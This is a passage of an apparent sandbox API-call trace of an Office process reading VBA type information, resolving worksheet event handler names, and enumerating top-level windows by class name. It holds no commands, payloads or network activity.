pDummy=0x70) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x51, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x52, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x53, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x54, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x55, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x56, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x57, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x58, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x59, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x5a, ppFuncDesc=0x24e558, pDummy=0x3ff0 | out: ppFuncDesc=0x24e558, pDummy=0x3ff0) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x5b, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x5c, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x5d, ppFuncDesc=0x24e558, pDummy=0x3ff0 | out: ppFuncDesc=0x24e558, pDummy=0x3ff0) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x5e, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x5f, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x60, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x61, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x62, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x63, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x64, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x65, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x66, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x67, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x68, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x69, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x6a, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x6b, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x6c, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x6d, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x6e, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x6f, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.064] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.064] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x70, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x71, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x72, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x73, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x74, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x75, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x76, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x77, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x78, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x79, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x7a, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x7b, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x7c, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x7d, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x7e, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x7f, ppFuncDesc=0x24e558, pDummy=0x3ff0 | out: ppFuncDesc=0x24e558, pDummy=0x3ff0) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x80, ppFuncDesc=0x24e558, pDummy=0x3ff0 | out: ppFuncDesc=0x24e558, pDummy=0x3ff0) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x81, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.065] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x82, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.065] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x83, ppFuncDesc=0x24e558, pDummy=0x3ff0 | out: ppFuncDesc=0x24e558, pDummy=0x3ff0) returned 0x0 [0099.066] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x84, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.066] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x85, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.066] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x86, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.066] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x87, ppFuncDesc=0x24e558, pDummy=0x3ff0 | out: ppFuncDesc=0x24e558, pDummy=0x3ff0) returned 0x0 [0099.066] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x88, ppFuncDesc=0x24e558, pDummy=0x3ff0 | out: ppFuncDesc=0x24e558, pDummy=0x3ff0) returned 0x0 [0099.066] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x89, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.066] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x8a, ppFuncDesc=0x24e558, pDummy=0x3ff0 | out: ppFuncDesc=0x24e558, pDummy=0x3ff0) returned 0x0 [0099.066] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x8b, ppFuncDesc=0x24e558, pDummy=0x3ff0 | out: ppFuncDesc=0x24e558, pDummy=0x3ff0) returned 0x0 [0099.066] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x8c, ppFuncDesc=0x24e558, pDummy=0x3ff0 | out: ppFuncDesc=0x24e558, pDummy=0x3ff0) returned 0x0 [0099.066] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x8d, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.066] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x8e, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.066] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x8f, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.066] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x90, ppFuncDesc=0x24e558, pDummy=0x3ff0 | out: ppFuncDesc=0x24e558, pDummy=0x3ff0) returned 0x0 [0099.066] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x91, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.066] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x92, ppFuncDesc=0x24e558, pDummy=0x3ff0 | out: ppFuncDesc=0x24e558, pDummy=0x3ff0) returned 0x0 [0099.066] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.066] IUnknown:QueryInterface (in: This=0xb901f70, riid=0x7fee60840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x24e578 | out: ppvObject=0x24e578*=0xb901f70) returned 0x0 [0099.067] ITypeInfo2:GetCustData (in: This=0xb901f70, GUID=0x7fee608d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x24e588 | out: pVarVal=0x24e588*(varType=0x0, wReserved1=0x0, wReserved2=0x92, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0099.067] IUnknown:Release (This=0xb901f70) returned 0x2 [0099.067] ITypeInfo:RemoteGetDocumentation (in: This=0xb901f70, memid=-1, refPtrFlags=0x24e580, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0099.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Worksheet", cchWideChar=10, lpMultiByteStr=0x24e490, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Worksheet", lpUsedDefaultChar=0x0) returned 10 [0099.075] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet") returned 0x10fec1 [0099.075] IUnknown:QueryInterface (in: This=0xb902078, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x24e530 | out: ppvObject=0x24e530*=0x0) returned 0x80004002 [0099.075] ITypeInfo:RemoteGetTypeAttr (in: This=0xb902078, ppTypeAttr=0x24e558, pDummy=0x10 | out: ppTypeAttr=0x24e558, pDummy=0x10) returned 0x0 [0099.076] ITypeInfo:LocalReleaseTypeAttr (This=0xb902078) returned 0x0 [0099.076] IMalloc:Realloc (This=0x7feffc15380, pv=0x70f8280, cb=0x62) returned 0xb6fc060 [0099.076] IUnknown:AddRef (This=0xb902078) returned 0x3 [0099.076] IUnknown:Release (This=0xb902020) returned 0x1 [0099.076] IUnknown:Release (This=0xb902078) returned 0x2 [0099.076] IUnknown:Release (This=0xb901f70) returned 0x1 [0099.076] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xe000000002 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xe000000002) returned 0x0 [0099.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0099.076] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0099.076] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0099.076] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0099.118] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x38000000c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x38000000c0) returned 0x0 [0099.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0099.118] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0099.119] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0099.119] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0099.120] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0099.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0099.120] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0099.120] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0099.120] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0099.874] GetCurrentThreadId () returned 0x8fc [0099.874] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0099.874] GetDesktopWindow () returned 0x10010 [0099.874] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10070 [0099.874] GetClassNameA (in: hWnd=0x10070, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.875] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.875] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.875] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10140 [0099.875] GetClassNameA (in: hWnd=0x10140, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0099.875] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0099.875] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0099.875] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0099.875] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.875] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.875] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0099.875] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0099.875] GetClassNameA (in: hWnd=0x10138, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0099.875] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0099.875] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0099.875] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0099.875] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.875] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.875] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.875] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0099.875] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.875] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.875] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.875] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0099.875] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.875] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.875] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.875] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0099.875] GetClassNameA (in: hWnd=0x10072, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.875] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.875] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.875] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x1005c [0099.875] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.875] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.875] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.875] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0099.875] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.875] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.875] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.875] GetWindow 